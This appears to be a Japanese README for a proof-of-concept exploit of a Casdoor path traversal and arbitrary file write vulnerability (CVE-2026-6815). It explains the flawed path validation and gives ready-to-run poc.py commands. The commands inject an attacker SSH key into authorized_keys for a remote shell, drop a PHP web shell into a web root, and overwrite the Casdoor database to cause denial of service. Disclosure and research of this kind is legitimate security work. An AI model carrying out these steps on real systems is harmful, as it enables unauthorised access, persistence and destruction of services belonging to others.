
Casdoor <3.54.1の認証済みパストラバーサルおよび任意ファイル書き込みPoCエクスプロイト。SSHキーインジェクション、Webシェルアップロード、またはデータベース破損による永続的DoSを介したRCEを可能にします。
このリポジトリは、Casdoor における任意ファイル書き込みおよびパストラバーサルの脆弱性 CVE-2026-6815 の Proof of Concept (PoC) エクスプロイトです。
この脆弱性はバージョン 3.54.1 で 修正 されました。
攻撃者は、Casdoor インスタンスに対して管理者権限、またはストレージプロバイダを作成・編集できる同等のユーザーとして認証されている必要があります。
.ssh/authorized_keys、crontab、Webルートなどの機密性の高い場所に書き込むことで実現。casdoor.db) やコアバイナリを任意のファイルで上書きし、アプリケーションを即座に停止させる。Casdoor は管理者がストレージプロバイダを設定できるようにしています。Local File System プロバイダは、リソースアップロード時に pathPrefix 設定および fullFilePath パラメータを適切にサニタイズできません。
ディレクトリトラバーサルシーケンス (../) を使用することで、認証された管理者は専用のストレージディレクトリをエスケープし、Casdoor プロセスに権限がある任意の場所にファイルを書き込むことができます。
脆弱性は、以下の場所における不十分なパス検証に起因します:
object/provider.go: 作成/更新時に pathPrefix に対する検証がない。storage/local_file_system.go: GetFullPath メソッドは、解決されたパスが意図されたサンドボックス内に留まっているかどうかを確認しない。依存関係をインストール:
pip install -r requirements.txt
エクスプロイトを実行:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
攻撃者が管理する公開鍵を casdoor ユーザーの authorized_keys ファイルに書き込み、SSHアクセスを獲得します。
SSH鍵を生成:
ssh-keygen -f casdoor_rce
生成した公開鍵で authorized_keys を上書き:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
秘密鍵を使用してリモートホストでSSHシェルを取得:
ssh -i ./casdoor_rce casdoor@target
アプリケーションのローカルデータベースファイル(例:casdoor.db)を上書きしてサービス拒否を引き起こします。
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
サーバーが同じファイルシステム上でセカンダリWebサーバー(例:Apache/Nginx)をホストしている場合、そのドキュメントルートにWebシェルを書き込みます。
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
特定の組織およびアプリケーション(デフォルトの built-in および app-built-in 以外)の管理者資格情報がある場合は、--orgname および --appname を使用して指定します。
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
このソフトウェアは教育および許可されたセキュリティテストの目的のみに使用されます。作者はこの情報の誤用について一切の責任を負いません。
脆弱性を発見し、PoCを開発したのは Danilo Dell'Orco (sixpain) です。